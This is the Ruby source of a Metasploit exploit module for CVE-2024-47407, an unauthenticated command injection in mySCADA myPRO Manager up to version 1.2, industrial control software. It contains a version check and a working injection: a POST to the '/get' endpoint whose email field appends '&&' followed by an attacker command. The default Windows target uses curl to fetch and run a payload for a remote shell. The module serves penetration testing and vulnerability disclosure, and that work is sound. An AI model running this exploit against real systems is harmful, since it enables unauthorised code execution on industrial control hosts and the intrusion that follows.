bcoles
111 lines
3.3 KiB
Ruby
111 lines
3.3 KiB
Ruby
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
include Msf::Exploit::Remote::HttpClient
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)',
|
|
'Description' => %q{
|
|
Unauthenticated Command Injection in MyPRO Manager <= v1.2 from mySCADA.
|
|
The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of the myscada9 administrative user that is automatically added by the product.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module
|
|
'References' => [
|
|
[ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07'],
|
|
[ 'CVE', '2024-47407']
|
|
],
|
|
'DisclosureDate' => '2024-11-21',
|
|
'DefaultOptions' => {
|
|
'RPORT' => 34022,
|
|
'SSL' => false
|
|
},
|
|
'Platform' => 'win',
|
|
'Arch' => [ ARCH_CMD ],
|
|
'Targets' => [
|
|
[
|
|
'Windows_Fetch',
|
|
{
|
|
'Arch' => [ ARCH_CMD ],
|
|
'Platform' => 'win',
|
|
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
|
|
'Type' => :win_fetch
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new(
|
|
'TARGETURI',
|
|
[ true, 'The URI for the MyPRO Manager web interface', '/' ]
|
|
)
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
begin
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'assets/index-Aup6jYxO.js')
|
|
})
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
|
|
return CheckCode::Unknown
|
|
end
|
|
|
|
if res.to_s =~ /const v="([^"]+)"/
|
|
version = ::Regexp.last_match(1)
|
|
vprint_status('Version retrieved: ' + version)
|
|
if Rex::Version.new(version) <= Rex::Version.new('1.2')
|
|
return CheckCode::Appears
|
|
end
|
|
|
|
return CheckCode::Safe
|
|
end
|
|
return CheckCode::Unknown
|
|
end
|
|
|
|
def exploit
|
|
execute_command(payload.encoded)
|
|
end
|
|
|
|
def execute_command(cmd)
|
|
exec_mypro_mgr(cmd)
|
|
print_status('Exploit finished, check thy shell.')
|
|
end
|
|
|
|
def exec_mypro_mgr(cmd)
|
|
post_data = {
|
|
'command' => 'testEmail',
|
|
'email' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com&&#{cmd} #"
|
|
}
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'ctype' => 'application/json',
|
|
'data' => JSON.generate(post_data),
|
|
'uri' => normalize_uri(target_uri.path, 'get')
|
|
})
|
|
|
|
if res&.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. Depending on the payload, we might not get a response at all due to a timeout.
|
|
print_good('Command successfully executed, check your shell.')
|
|
else
|
|
print_error('Unexpected or no reply received.')
|
|
end
|
|
end
|
|
|
|
end
|